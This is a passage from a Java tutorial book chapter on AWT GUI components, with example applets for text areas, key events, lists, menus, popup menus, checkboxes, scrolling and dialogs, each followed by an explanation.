        area2.addTextListener ( new TextSyncAdapter( area1 ));
    }
    class TextSyncAdapter implements TextListener {
        TextArea targetArea;
        TextSyncAdapter( TextArea targetArea ) {
            this.targetArea = targetArea;
        }
        public void textValueChanged(TextEvent e) {
            TextArea sourceArea = (TextArea)e.getSource();
            if ( ! targetArea.getText().equals( sourceArea.getText() ) )
                targetArea.setText( sourceArea.getText() );
        }
    }
}

Setting up the display is simple. We use a GridLayout and add two text areas to the layout. Then we add our listeners for text events, which are generated whenever the text in a TextComponent is changed. There is one listener for each text area; both are TextSyncAdapter objects. One listens to events from area1 and modifies the text in area2; the other listens to events from area2 and modifies the text in area1.

All the real work is done by the TextSyncAdapter. This is an inner class; its definition is contained within TextWatcher and can't be referenced by classes outside of our TextWatcher. The adapter implements the TextListener interface, and therefore includes a textValueChanged() method.

textValueChanged() is the heart of the listener. First, it extracts the source area from the incoming event; this is the area that generated the event. The area whose text the listener is changing (the target area) was stored by the constructor. Then it tests whether or not the texts in both areas are the same. If they aren't, it calls the target area's setText() method to set its text equal to the source area's.

The one mysterious feature of this method is the test for equality. Why is it necessary? Why can't we just say "the text in one area changed, so set the text in the other?" A TextEvent is generated whenever a TextComponent is modified for any reason; this includes changes caused by software, not just changes that occur when a user types. So think about what happens when the user types into area1. Typing generates a TextEvent, which causes the adapter to change the text in area2. This generates another TextEvent, which if we didn't do any testing, would cause us to change area1 again, which would generate another TextEvent, ad infinitum. By checking whether or not the texts in our two areas are equivalent, we prevent an infinite loop in which text events ping-pong back and forth between the two areas.

Managing Text Yourself

Text areas and text fields do the work of handling keystrokes for you, but they're certainly not your only options for dealing with keyboard input. Any Component can register KeyListeners to recieve KeyEvents that occur when their component has focus Chapter 10, Understand the Abstract Windowing Toolkit. We will provide an example here that shows how you might use these to make your own text gadgets.

Figure 11.3: The KeyWatcher applet

[Graphic: Figure 11-3]

import java.awt.*;
import java.awt.event.*;
public class KeyWatcher extends java.applet.Applet {
    StringBuffer text = new StringBuffer();
    public void init () {
        setFont( new Font("TimesRoman",Font.BOLD,18) );
        addKeyListener ( new KeyAdapter() {
            public void keyPressed( KeyEvent e ) {
                System.out.println(e);
                type( e.getKeyCode(), e.getKeyChar() );
            }
        } );
        requestFocus();
    }
    public void type(int code, char ch ) {
        switch ( code ) {
            case ( KeyEvent.VK_BACK_SPACE ):
                if (text.length() > 0)
                    text.setLength( text.length() - 1 );
                break;
            case ( KeyEvent.VK_ENTER ):
                    System.out.println( text );  // Process line
                    text.setLength( 0 );
                break;
            default:
                if ( (ch >= ' ') && (ch <= '~') )
                    text.append( ch );
        }
        repaint();
    }

    public void paint(Graphics g) {
        g.drawString(text.toString() + "_", 20, 20);
    }
}

Fundamentally, all we are doing is collecting text in a StringBuffer and using the drawString() method to display it on the screen. As you'd expect, paint() is responsible for managing the display.

In this applet, we're interested in receiving KeyEvents, which occur whenever the user presses any key. To get these events, the applet calls its own addKeyListener() method. The KeyListener itself is an anonymous class. It doesn't have a name and can't be used anywhere else. We create this class by getting a new KeyAdapter(), and overriding its keyPressed() method. (Remember that KeyAdapter contains do-nothing implementations of the methods in the KeyListener interface.) All keyPressed() does is call our private method type(), with two arguments: the key code of the key that was pressed, and the logical character represented by the keystroke.

type() shows you how to deal with keystrokes. Each key event is identified with a code, which identifies the actual key typed, and a character, which identifies what the user meant to type. This sounds confusing, but it isn't. Basically, there is a constant for each key on the keyboard: VK_ENTER for the ENTER (return) key, VK_A for the letter A, and so on. However, the physical keystroke isn't usually the same as what the user types: the character capital A is made up of two keystrokes, while lower case a is made up of one.

Therefore, you can expect events for both physical keystrokes and typed characters. The int constant VK_UNDEFINED is used for the physical key code when the event doesn't correspond to a single keystroke. The char constant CHAR_UNDEFINED indicates that the event corresponds to a physical keystroke, but not a typed character.

The type() method is called with both the key constant and the character as arguments. The way we use them is relatively simple and would need more work for an industrial strength program. Simply, if the physical key is VK_BACK_SPACE, we delete the last character from the StringBuffer we're building. If it's VK_ENTER, we clear the StringBuffer. If the physical key has any other value, we look at the character the user typed. If this is a printable character, we add it to the StringBuffer. Anything else we ignore. Once we've handled the event, we call repaint() to update the screen. Using key codes to handle operations like "Backspace" or "Enter" is easier and less bug-prone than working with odd "Control" characters.

A final note on our anonymous adapter class: in essence our adapter is letting us write a "callback," by calling type() whenever keyPressed() is called. That's one important use for adapters: to map methods in the various listener interfaces into the methods that make sense for your class. Unlike C or C++, Java won't let us pass a method pointer as an argument, but it will let us create an anonymous class that calls our method and passes an instance of that class.

Previous | Home | Next
Buttons and Labels | Book Index | Lists
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.3 Lists

Previous Chapter 11
Using and Creating GUI Components 		Next

11.3 Lists

A List is a step up on the evolutionary chain. Lists let the user choose from a group of alternatives. They can be configured to force the user to choose a single selection or to allow multiple choices. Usually, only a small group of choices are displayed at a time; a built-in scrollbar lets you move to the choices that aren't visible.

A List generates two kinds of events. If the user single clicks on a selection, the List generates an ItemEvent. If the user double-clicks, a List generates an ActionEvent. Therefore, a List can register both ItemListeners and ActionListeners. In either case, the listener can use the event to figure out what the user selected.

The applet below, SearchableListApplet, contains a List and a text field. Several of the items in the list aren't visible, because the list is too long for the space we've allotted for it (enough to display three items). When you type the name of an item into the text field, the applet displays the item you want and selects it. Of course, you could do this with a scrollbar, but then we wouldn't have the opportunity to demonstrate how to work with lists.

Figure 11.4: The SearchableList applet

[Graphic: Figure 11-4]

import java.awt.*;
import java.awt.event.*;
public class SearchableListApplet extends java.applet.Applet {
    public void init() {
        String [] items = { "One", "Two", "Three", "Four", "Five", "Six" };
        add( new SearchableList( items ) );
    }
}
class SearchableList extends Container implements ActionListener {
    List list;
    TextField field;
    SearchableList( String [] items ) {
        list = new List( 3 );  // Let some scroll for this example
        for(int i=0; i< items.length; i++)
            list.addItem( items[i] );
        field = new TextField();
        field.addActionListener( this );
        setLayout( new BorderLayout() );
        add("Center", list);
        add("South", field);
    }
    public void actionPerformed( ActionEvent e ) {
        String search = field.getText();
        for (int i=0; i< list.getItemCount(); i++)
            if ( list.getItem( i ).equals( search ) ) {
                list.select( i );
                list.makeVisible( i );  // Scroll it into view
                break;
            }
        field.setText(""); // clear the text field
    }
}

We create the List and the TextField in a new class, SearchableList; the applet itself only displays the SearchableList. SearchableList itself is a new kind of animal; it is a lightweight component that subclasses Container directly. We'll talk a little more about lightweight components later in the chapter.

In the constructor for SearchableList, we create our List by calling its constructor, setting it to display at most three components. We then call the addItem() method to add the possible selections to the list; these are the numbers "One" through "Six," passed to us in an array.

We then create our TextField, and register ourselves (i.e., the SearchableList) as an ActionListener for the field's events. Finally, we set the layout for SearchableList to a border layout, put the List in the center of the layout, and the TextField at the bottom.

The actionPerformed() method is called whenever the user presses RETURN in our TextField. In this method, we call getText() to extract the text the user typed. Then we loop through all the items in the list to see if there's a match. getItemCount() tells us the number of items in the list; getItem() gives us the text associated with any particular item. When we find a match, we call select() to make the matching item the selected item, and we call makeVisible() to make sure that this item is displayed.

By default, a List only allows a single selection. We've done nothing in this example to allow multiple selections, so whenever a user chooses an item, the previous selection is automatically dropped. If you want a list that supports multiple selections, call setMultipleMode(true). In this case, you must use the deselect() method to clear the user's selections.

Previous | Home | Next
Text Components | Book Index | Menus and Choices
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.4 Menus and Choices

Previous Chapter 11
Using and Creating GUI Components 		Next

11.4 Menus and Choices

A Menu is a standard, pull-down menu with a fixed name. Menus can hold other menus as submenu items, letting you implement complex menu structures. Menus come with several restrictions; they must be attached to a menu bar, and the menu bar can be attached only to a Frame (or another menu). You can't stick a Menu at an arbitrary position within a container. A top-level Menu has a name that is always visible in the menu bar. (An important exception to these rules is the PopupMenu, which we'll describe in the next section.)

A Choice is an item that lets you choose from a selection of alternatives. If this sounds like a menu, you're right. Choices are free-spirited relatives of menus. A Choice item can be positioned anywhere, in any kind of container. It looks something like a button, with the current selection as its label. When you press the mouse button on a choice, it unfurls to show possible selections.

Both menus and choices send action events when an item is selected. We'll create a little example that illustrates choices and menus and demonstrates how to work with the events they generate. Since a Menu has to be placed in the menu bar of a Frame, we'll take this opportunity to show off a Frame object as well. DinnerMenu pops up a window containing a Food choice and a menu of Utensils, as shown in Figure 11.2. DinnerMenu prints a message for each selection; choosing Quit from the menu removes the window. Give it a try.

Figure 11.5: The DinnerMenu applet

[Graphic: Figure 11-5]

import java.awt.*;
import java.awt.event.*;
import java.util.EventListener;
public class DinnerMenu extends java.applet.Applet {
    public void init() {
        new DinnerFrame().show();
    }
}
class DinnerFrame extends Frame implements ActionListener, ItemListener {
    DinnerFrame() {
        setTitle("Dinner Helper");
        setLayout( new FlowLayout() );
        add( new Label("Food") );
        Choice c = new Choice ();
        c.addItem("Chinese");
        c.addItem("Italian");
        c.addItem("American");
        c.addItemListener( this );
        add( c );
        Menu menu = new Menu("Utensils");
        menu.add( makeMenuItem("Fork") );
        menu.add( makeMenuItem("Knife") );
        menu.add( makeMenuItem("Spoon") );
        Menu subMenu = new Menu("Hybrid");
        subMenu.add( makeMenuItem("Spork") );
        subMenu.add( makeMenuItem("Spife") );
        subMenu.add( makeMenuItem("Knork") );
        menu.add( subMenu);
        menu.add( makeMenuItem("Quit") );
        MenuBar menuBar = new MenuBar();
        menuBar.add(menu);
        setMenuBar(menuBar);
        pack();
    }
    public void itemStateChanged(ItemEvent e) {
        System.out.println( "Choice set to: " + e.getItem() );
    }
    public void actionPerformed(ActionEvent e) {
        String command = e.getActionCommand();
        if ( command.equals( "Quit" ) )
            dispose();
        else
            System.out.println( "Menu selected: " + e.getActionCommand() );
    }
    private MenuItem makeMenuItem( String name ) {
        MenuItem m = new MenuItem( name );
        m.addActionListener( this );
        return m;
    }
}

Yes, I know. Quit doesn't belong in the Utensils menu. If it's driving you crazy, you can go back and add a File menu as an exercise when we're through.

So what do we have? Well, we've created a new kind of component called DinnerFrame that implements our palette of dinner options. We do our set-up work in the DinnerFrame constructor. DinnerFrame sets the name on its titlebar with setTitle(). The constructor also handles a few other miscellaneous details, such as setting the layout manager that places things side by side in the display area and later, resizing itself by calling pack().

We make an instance of Choice and add three options to it with its addItem() method. Choice options are simple String objects. When one is picked, we get an action event with an argument that specifies the selected option name. We can also examine the currently selected item at any time with the Choice's getSelectedItem() method. A Choice generates an ItemEvent when a user makes a selection, so we register the DinnerFrame as an ItemEvent listener by calling addItemListener(). (This means we must also implement the ItemListener interface and provide an itemStateChanged() method.) As with any component, we display the Choice by adding it to our applet's layout with add().

The Menu has a few more moving parts. A Menu holds MenuItem objects. A simple MenuItem just has a String as a label. It sends this as an argument in an action event when it's selected. We can set its font with setFont(). We can also turn it on or off with setEnabled(); this method controls whether the MenuItem is available or not. A Menu object is itself a kind of MenuItem, and this allows us to use a menu as a submenu in another menu.

We construct the Menu with its name and call its add() method to give it three new MenuItem objects. To create the menu items, we call our own makeMenuItem() helper method. Next, we repeat this process to make a new Menu object, subMenu, and add it as the fourth option. Its name appears as the menu item along with a little arrow, indicating it's a submenu. When it's selected, the subMenu menu pops up to the side and we can select from it. Finally, we add one last simple menu item, to serve as a Quit option.

We use a private method, makeMenuItem(), to create our menu items for us. This method is convenient because, with menus, every item generates its own events. Therefore, we must register an ActionListener for every selection on the menu. Rather than write lots of code, we use a helper method to register our DinnerFrame (this) as the listener for every item. It should be no surprise then, that DinnerFrame must implement ActionListener and provide an actionPerformed() method.

Now we have the menu; to use it, we have to insert it in a menu bar. A MenuBar holds Menu objects. We create a MenuBar and set it as the menu bar for DinnerFrame with the Frame.setMenuBar() method. We can then add our menu to it with menuBar.add():

MenuBar menuBar = new MenuBar();
menuBar.add(menu);
setMenuBar(menuBar);

Suppose our applet didn't have its own frame? Where could we put our menu? Ideally, you'd like the applet to be able to add a menu to the top-level menu bar of the Web browser or applet viewer. Unfortunately, as of Java 1.1, there is no standard for doing so. (There are obvious security considerations in allowing an applet to modify its viewer.) There has been talk of adding this ability as part of Java Beans, but so far, it's not possible.

One final note about the DinnerMenu example. As we said in the previous chapter, any time you use a Frame, and thus create a new top-level window, you should add code to destroy your frame whenever the user closes the window with his native window manager. To do so, you register your frame as a WindowListener, implement the WindowListener interface, and provide a windowClosing() method that calls dispose(). By calling dispose(), we indicate the window is no longer needed, so that it can release its window-system resources.

Previous | Home | Next
Lists | Book Index | PopupMenus
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.5 PopupMenus

Previous Chapter 11
Using and Creating GUI Components 		Next

11.5 PopupMenus

One of the new components in Java 1.1 is the PopupMenu: a menu that automatically appears when you press the appropriate mouse button inside of a component. Which button you press depends on the platform you're using; fortunately you don't have to care.

The care and feeding of a PopupMenu is basically the same as any other menu. You use a different constructor (PopupMenu()) to create it, but otherwise, you build a menu and add elements to it the same way. The big difference is that you don't need to attach it to a MenuBar, and consequently don't need to worry about putting the MenuBar in a Frame. Instead, you call add() to add the PopupMenu to any component.

The PopupColorMenu applet contains three buttons. You can use a PopupMenu to set the color of each button or the applet itself, depending on where you press the mouse. (Setting the color of the applet also sets the buttons' colors). Figure 11.3 shows the applet in action; the user is preparing to change the color of the right-most button.

Figure 11.6: The PopupColorMenu Applet

[Graphic: Figure 11-6]

import java.awt.*;
import java.awt.event.*;
public class PopUpColorMenu extends java.applet.Applet
implements ActionListener {
    PopupMenu colorMenu;
    Component selectedComponent;
    public void init() {
        add( new Button("One") );
        add( new Button("Two") );
        add( new Button("Three") );

        colorMenu = new PopupMenu("Color");
        colorMenu.add( makeMenuItem("Red") );
        colorMenu.add( makeMenuItem("Green") );
        colorMenu.add( makeMenuItem("Blue") );
        addMouseListener( new MouseAdapter() {
            public void mousePressed(MouseEvent e) {
                if ( e.isPopupTrigger() ) {
                    selectedComponent = getComponentAt( e.getX(), e.getY() );
                    colorMenu.show(e.getComponent(), e.getX(), e.getY());
                }
            }
        } );
        add(colorMenu);
    }
    public void actionPerformed(ActionEvent e) {
        String color = e.getActionCommand();
        if ( color.equals("Red") )
            selectedComponent.setBackground( Color.red );
        else if ( color.equals("Green") )
            selectedComponent.setBackground( Color.green );
        else if ( color.equals("Blue") )
            selectedComponent.setBackground( Color.blue );
    }
    private MenuItem makeMenuItem(String label) {
        MenuItem item = new MenuItem(label);
        item.addActionListener( this );
        return item;
    }
}

Because the popup menu is triggered by mouse events, we need to register a MouseListener. In our call to addMouseListener(), we create an anonymous inner class based on the MouseAdapter. In this class, we override the mousePressed() method to display the popup menu when we get an appropriate event. How do we know what an "appropriate event" is? Fortunately, we don't need to worry about the specifics of our user's platform; we just need to call the event's isPopupTrigger() method. If this method returns true, we know the user has done whatever normally displays a popup menu on his system.

Once we know that the user wants to raise a popup menu, we figure out which component the mouse is over by calling getComponentAt(), with the coordinates of the mouse click (given by e.getX() and e.getY()). Then we display the popup menu by calling its show() method, again with the mouse coordinates as arguments.

If we wanted to provide different menus for different types of components or the background, we could add a test within the check for the popup trigger:

if ( e.isPopupTrigger() ) {
    selectedComponent = getComponentAt( e.getX(), e.getY() );

    if ( selectedComponent instanceof Button )
         colorMenu.show(e.getComponent(),
                        e.getX(), e.getY());
    else if ( selectedComponent instanceof Applet )
            // show a menu for the background
    else if ( selectedComponent instanceof someOtherComponent )
            // show another menu
}

The only thing left is to handle the action events from the popup menu items. As in our earlier example, we use a helper method called makeMenuItem() to register the applet as an action listener for every item we add. The applet implements ActionListener and has the required actionPerformed() method. This method reads the action command from the event, which is equal to the selected menu item's label by default. It then sets the background color of the selected component appropriately.

Previous | Home | Next
Menus and Choices | Book Index | Checkboxes and CheckboxGroups
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.6 Checkboxes and CheckboxGroups

Previous Chapter 11
Using and Creating GUI Components 		Next

11.6 Checkboxes and CheckboxGroups

A Checkbox is a labeled toggle button. A group of such toggle buttons can be made mutually exclusive by tethering them together with a CheckboxGroup object. By now you're probably well into the swing of things and could easily master the Checkbox on your own. We'll throw out an example to illustrate a different way of dealing with the state of components and to show off a few more things about containers.

A Checkbox sends item events when it's pushed, just like a List, a Menu, or a Choice. In our last example, we caught the action events from our choice and menu selections and worked with them when they happened. For something like a checkbox, we might want to be lazy and check on the state of the buttons only at some later time, such as when the user commits an action. It's like filling out a form; you can change your choices until you submit the form.

The following applet, DriveThrough, lets us check off selections on a fast food menu, as shown in Figure 11.4. DriveThrough prints the results when we press the Place Order button. Therefore, we can ignore all the item events generated by our checkboxes and listen only for the action events generated by the button.

Figure 11.7: The DriveThrough applet

[Graphic: Figure 11-7]

import java.awt.*;
import java.awt.event.*;
public class OrderForm extends java.applet.Applet implements ActionListener {
    Panel condimentsPanel = new Panel();
    CheckboxGroup entreeGroup = new CheckboxGroup();
    public void init() {
        condimentsPanel.add( new Checkbox("Ketchup"));
        condimentsPanel.add( new Checkbox("Mustard"));
        condimentsPanel.add( new Checkbox("Pickles"));
        Checkbox c;
        Panel entreePanel = new Panel();
        entreePanel.add( c = new Checkbox("Beef") );
        c.setCheckboxGroup( entreeGroup );
        entreePanel.add( c = new Checkbox("Chicken") );
        c.setCheckboxGroup( entreeGroup );
        entreePanel.add( c = new Checkbox("Veggie") );
        c.setCheckboxGroup( entreeGroup );
        entreeGroup.setCurrent( c );
        Panel orderPanel = new Panel();
        Button orderButton = new Button("Place Order");
        orderButton.addActionListener( this );
        orderPanel.add( orderButton );
        setLayout( new GridLayout(3, 1) );
        add( entreePanel );
        add( condimentsPanel );
        add( orderPanel );
    }
    public void actionPerformed(ActionEvent e) {
        takeOrder();
    }
    void takeOrder() {
        Checkbox c = entreeGroup.getCurrent();
            System.out.println( c.getLabel() + " sandwich" );
        Component [] components = condimentsPanel.getComponents();
        for (int i=0; i< components.length; i++)
            if ( (c = (Checkbox)components[i]).getState() )
                System.out.println( "With " + c.getLabel() );
        System.out.println("Thank you, drive through...");
    }
}

DriveThrough lays out two panels, each containing three checkboxes. The checkboxes in the entreePanel are tied together through a single CheckboxGroup object. We call their setCheckboxGroup() methods to put them in a single CheckboxGroup that makes the checkboxes mutually exclusive. The CheckboxGroup object is an odd animal. One expects it to be a container or a component, but it isn't; it's simply a helper object that coordinates the functionality of the Checkbox objects. Because a CheckboxGroup isn't a container, it doesn't have an add() method. To put a checkbox into a group, you call the setCheckboxGroup() method of the Checkbox class.

Once a set of checkboxes have been placed in a checkbox group, only one of the boxes may be checked at a time. In this applet, the checkbox group forces you to choose a beef, chicken, or veggie entree, but not more than one. The condiment choices, however, aren't in a checkbox group, so you can request ketchup, mustard, and pickles on your chicken sandwich.

When the Place Order button is pushed, we receive an ActionEvent via our actionPerformed() method. At this point, we gather the information in the checkboxes and print it. actionPerformed() simply calls our takeOrder() method, which reads the checkboxes. We could have saved references to the checkboxes in a number of ways; this example demonstrates two. First, we find out which entree was selected. To do so, we call the CheckboxGroup's getCurrent() method. getCurrent() returns the selected Checkbox; we use getLabel() to extract the entree's name.

To find out which condiments were selected, we use a more complicated procedure. The problem is that condiments aren't mutually exclusive, so we don't have the convenience of a CheckboxGroup. Instead, we ask the condiments Panel for a list of its components. The getComponent() method returns an array of references to the container's child components. We'll use this to loop over the components and print the results. We cast each element of the array back to Checkbox and call its getState() method to see if the checkbox is on or off. Remember that if we were dealing with different types of components, we could determine what kind of component we had with the instanceof operator.

Previous | Home | Next
PopupMenus | Book Index | ScrollPane and Scrollbars
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.7 ScrollPane and Scrollbars

Previous Chapter 11
Using and Creating GUI Components 		Next

11.7 ScrollPane and Scrollbars

One of the big advantages of Java 1.1 is the addition of a ScrollPane container. Previously, unless you were working with a text component, you had to manage scrolling yourself. It wasn't terribly difficult, but it was a pain: you had to create Scrollbar objects, attach them to whatever you were scrolling, and redisplay everything with new positions whenever the user made an adjustment. ScrollPane does it all for you. About the only time you absolutely need a Scrollbar is when you want to create a "volume control-type" object. For example, you might want to create a paint mixer that blended different amounts of red, blue, and green, depending on some scrollbar settings.

The unifying theme behind both ScrollPane and Scrollbar is the Adjustable interface, which defines the responsibilities of scrollable objects. An object that implements Adjustable lets you modify an integer value through some fixed range. When a user changes the value, the object generates an AdjustmentEvent; as you might expect, to get an AdjustmentEvent, you must implement AdjustmentListener and register by calling addAdjustmentListener(). Scrollbars implement Adjustable, and a ScrollPane can return Adjustable objects for each of its scrollbars.[2]

[2] There may be a bug in the Adjustable objects you get from a ScrollPane. Although you can read their settings, you can't change them; methods like setMinimum() and setMaximum() (which should set the object's minimum and maximum values) throw an AWTError.

In this section, we'll demonstrate both the ScrollPane and Scrollbar classes. We'll start with a ScrollPane.

Working With A ScrollPane

Technically, a ScrollPane is a Container, but it's a funny one. It has its own layout manager, which can't be changed. It can only accomodate one component at a time. This seems like a big limitation, but it isn't. If you want to put a lot of stuff in a ScrollPane, just put your components into a Panel, with whatever layout manager you like, and put that panel into the ScrollPane.

When you create a ScrollPane, you can specify the conditions under which its srollbars will be displayed. This is called the scrollbar display policy; you can specify the policy by using one of the three constants below as an argument to the ScrollPane constructor.

SCROLLBARS_AS_NEEDED

Only displays scrollbars if the object in the ScrollPane doesn't fit.

SCROLLBARS_ALWAYS

Always displays scrollbars, regardless of the object's size.

SCROLLBARS_NEVER

Never displays scrollbars, even if the object is too big. If you use this policy, you should provide some other way for the user to manipulate the ScrollPane.

By default, the policy is SCROLLBARS_AS_NEEDED.

Here's an applet that uses a ScrollPane to display a large image. As you'll see, the applet itself is very simple; all we do is get the image, set the applet's layout manager, create a ScrollPane, put the image in our pane, and add the ScrollPane to the applet. To make the program slightly cleaner, we create an ImageComponent component to hold the image, rather than placing the image directly into the ScrollPane. Here's the applet itself:

import java.awt.*;
public class ScrollPaneApplet extends java.applet.Applet {
    public void init() {
        Image image = getImage( getClass().getResource(getParameter("image")) );
        setLayout(  new BorderLayout() );
        ScrollPane scrollPane = new ScrollPane();
        scrollPane.add( new ImageComponent(image) );
        add( "Center", scrollPane );
    }
}

And here's the ImageComponent. It waits for the image to load, using a MediaTracker, and sets its size to the size of the image. It also provides a paint() method to draw the image. This takes a single call to drawImage(). The first argument is the image itself; the next two are the coordinates of the image relative to the ImageComponent; and the last is a reference to the ImageComponent itself (this), which serves as an image observer. (We'll discuss image observers in Chapter 14, Working With Images; for the time being, take this on faith.)

We also supply an update() method that calls paint(). As we'll see later, the default version of update() automatically clears the screen, which wastes time if we already know that our image will cover the entire screen. Therefore, we override update() so that it doesn't bother clearing the screen first.

Finally, ImageComponent provides a getPreferredSize() method, overriding the method it inherits from Component. This method simply returns the image's size, which is a Dimension object. When you're using a ScrollPane, it's important for the object you're scrolling to provide a reliable indication of its size, particularly if the object is a lightweight component.

import java.awt.*;
class ImageComponent extends Component {
    Image image;
    Dimension size;
    ImageComponent ( Image image ) {
        this.image = image;
        MediaTracker mt = new MediaTracker(this);
        mt.addImage( image, 0 );
        try { mt.waitForAll(); } catch (InterruptedException e) { /* error */ };
        size = new Dimension ( image.getWidth(null), image.getHeight(null) );
        setSize( size );
    }
    public void update( Graphics g ) {
        paint(g);
    }
    public void paint( Graphics g ) {
        g.drawImage( image, 0, 0, this );
    }
    public Dimension getPreferredSize() {
        return size;
    }
}

Using Scrollbars

Our next example is basically the same as the previous, except that it
doesn't use the ScrollPane; it implements
its own scroller using scrollbars. With Java 1.1, you'd
never write code like this, but it does show how much work the
ScrollPane saves, and also demonstrates
how to use scrollbars in other situations.

Figure 11.8: The ComponentScrollerApplet

  [Graphic: Figure 11-8]

Our applet is called
ComponentScrollerApplet; it uses a
homegrown scroll pane called
ComponentScroller. The component that we
scroll is the ImageComponent we developed in
the previous example.

Now let's dive into the code for
ComponentScrollerApplet:

import java.awt.*;
import java.awt.event.*;
public class ComponentScrollerApplet extends java.applet.Applet {
    public void init() {
        Image image = getImage( getClass().getResource(getParameter("image")) );
        ImageComponent canvas = new ImageComponent( image );
        setLayout(  new BorderLayout() );
        add( "Center", new ComponentScroller(canvas) );
    }
}
class ComponentScroller extends Container {
    Scrollbar horizontal, vertical;
    Panel scrollarea = new Panel();
    Component component;
    int orgX, orgY;
    ComponentScroller( Component comp ) {
        scrollarea.setLayout( null );  // We'll handle the layout
        scrollarea.add( component = comp );
        horizontal = new Scrollbar( Scrollbar.HORIZONTAL );
        horizontal.setMaximum( component.getSize().width );
        horizontal.addAdjustmentListener( new AdjustmentListener() {
            public void adjustmentValueChanged(AdjustmentEvent e) {
                component.setLocation( orgX = -e.getValue(), orgY );
            }
        } );
        vertical = new Scrollbar( Scrollbar.VERTICAL );
        vertical.setMaximum( component.getSize().height);
        vertical.addAdjustmentListener( new AdjustmentListener() {
            public void adjustmentValueChanged(AdjustmentEvent e) {
                component.setLocation( orgX, orgY = -e.getValue() );
            }
        } );
        setLayout( new BorderLayout() );
        add( "Center", scrollarea );
        add( "South", horizontal );
        add( "East", vertical );
    }
    public void doLayout() {
        super.doLayout();
        horizontal.setVisibleAmount( scrollarea.getSize().width );
        vertical.setVisibleAmount( scrollarea.getSize().height );
    }
}

So, what do our new components do? Let's start at the top
and work our way down. The applet itself
is very simple; it does all of its work in
init(). First it sets its layout manager
to BorderLayout. Then it acquires an
Image object with a call to
getImage().
Finally, the applet creates an ImageComponent
to hold our image, creates a
ComponentScroller to hold the
ImageComponent, and adds the scroller to the
"Center" region of the layout. I chose
BorderLayout because it resizes its
central component to fill the entire area available.

Next comes the ComponentScroller
itself. ComponentScroller takes a
reference to our ImageComponent in its
constructor. It adds the component it will be scrolling to a
Panel with no layout manager. It then
creates horizontal and vertical
Scrollbar objects
(HORIZONTAL and
VERTICAL are constants of the
Scrollbar class, used to specify a
scrollbar's direction), sets their maximum
values using the height and width of the
Panel, and registers an
AdjustmentListener for each scrollbar. The
AdjustmentListener is an anonymous inner
class that implements the
adjustmentValueChanged() method. This
method is called whenever the user moves the scrollbar. It extracts
the new scrollbar setting from an
AdjustmentEvent and uses this to move the
component we're scrolling to its new location. We have a separate
listener for each scrollbar, so we don't have to figure out which
scrollbar generated the event. The listener for the horizontal
scrollbar adjusts the component's x coordinate
(orgX) and leaves its y coordinate
unchanged; likewise, the listener for the vertical scrollbar adjusts
the component's y coordinate. By adjusting the location of the
ImageComponent, we control
how much of the image is displayed; anything that falls outside of the
scroller's Panel
(scrollarea) isn't displayed.

The ComponentScroller overrides the
doLayout() method of the
Container class. This gives us an
opportunity to change the size of the scrollbar "handles" whenever the
scroller is resized. To do so, we call
super.doLayout() first, to make sure that
the container gets arranged properly; although we're overriding this
method, we need to make sure that it does its work. Then we call the
setVisibleAmount() method of each
scrollbar with the new width and height of the scrolling area.

So in review: we call setMaximum() to set
the vertical scrollbar's maximum value to the image's height; we call
setVisibleAmount() to tell the vertical
scrollbar how much area we have available; and it sets the size of its
"handle" accordingly. For example, if the image is 200 pixels high,
and the visible amount is 100 pixels, the scrollbar sets its handle to
be roughly half its length. We do similar things to the horizontal
scrollbar. As a result, the handles grow or shrink as we change the
size of the viewing area and indicate how much of the image is visible.

The setMaximum() and
setVisibleAmount() are both part of the
Adjustable interface, which scrollbars
implement. Other methods of this interface are:

getOrientation() | Tells you whether the scrollbar is HORIZONTAL or VERTICAL. There is no setOrientation() method in the interface, but the Scrollbar class does support setOrientation().
getVisibleAmount() and setVisibleAmount() | Lets you control the size of the scrollbar's handle (slider). As we saw above, this is a convenient way to give the user a feel for the size of the object you're scrolling.
getValue() and setValue() | Lets you retrieve or change the scrollbar's current setting.
getMinimum() and setMinimum() | Lets you control the scrollbar's minimum value.
getMaximum() and setMaximum() | Lets you control the scrollbar's maximum value.
getUnitIncrement() and setUnitIncrement() | Lets you control the amount the scrollbar will move if the user clicks on the scrollbar's arrows; in many environments, this means the user wants to move up or down one line.
getBlockIncrement() and setBlockIncrement() | Lets you control the amount the scrollbar will move if the user clicks between an arrow and the slider; in many environments, this means the user wants to move up or down one page.
addAdjustmentListener() and removeAdjustmentListener() | Adds or removes listeners for the scrollbar's events.

It's worth asking why we put our image in a
Canvas,
which we then put into a Panel, which we
put into another Panel, which we put into
the applet. Surely there's a more efficient way. Yes there is, but we
wanted to make as many reusable components as possible. With this
design, you can use ImageComponent wherever
you need to display an image and check that it is loaded first; you
can use ComponentScroller wherever you
need to scroll any kind of component, not just an image or a
Canvas. Making resuable components is one
of the big advantages of object oriented design; it's something you
should always keep in mind.

Previous | Home | Next
Checkboxes and CheckboxGroups | Book Index | Dialogs

Java in a Nutshell
Java Language Reference
Java AWT
Java Fundamental Classes
Exploring Java


[Chapter 11] 11.8 Dialogs

Previous Chapter 11
Using and Creating GUI Components 		Next

11.8 Dialogs

A Dialog is another standard feature of user interfaces. In Java, a Dialog is a kind of Window, which means that it's really a container into which you put other components. A Dialog can be either modal or nonmodal. A modal dialog seizes the attention of the user by staying in the foreground and grabbing all input until it is satisfied. A non-modal dialog isn't quite so insistent; you're allowed to do other things before dealing with the dialog. Dialog objects are useful for pop-up messages and queries or important user-driven decisions.

Most of the components we've seen so far have some special kinds of events associated with them. A Dialog doesn't have any special events. Of course, this doesn't mean that a dialog doesn't generate events. Since a dialog is a Window, it can generate any event that a Window can. However, there aren't any special events, like action events or item events, to worry about. When you're dealing with a Dialog, your primary concern will be events generated by the components that you put into the Dialog.

We'll do a quick example of a Dialog window and then take a look at FileDialog, a subclass of Dialog that provides an easy-to-use file-selector component. Our example will be a modal dialog that asks a simple question:

A Simple Query Dialog

import java.awt.*;
import java.awt.event.*;
class ModalYesNoDialog extends Dialog implements ActionListener {
    private boolean isYes = false;
    ModalYesNoDialog( Frame frame, String question ) {
        super(frame, true /* modal */);
        Label label = new Label(question);
        label.setFont( new Font("Dialog",Font.PLAIN,20) );
        add( "Center", label );
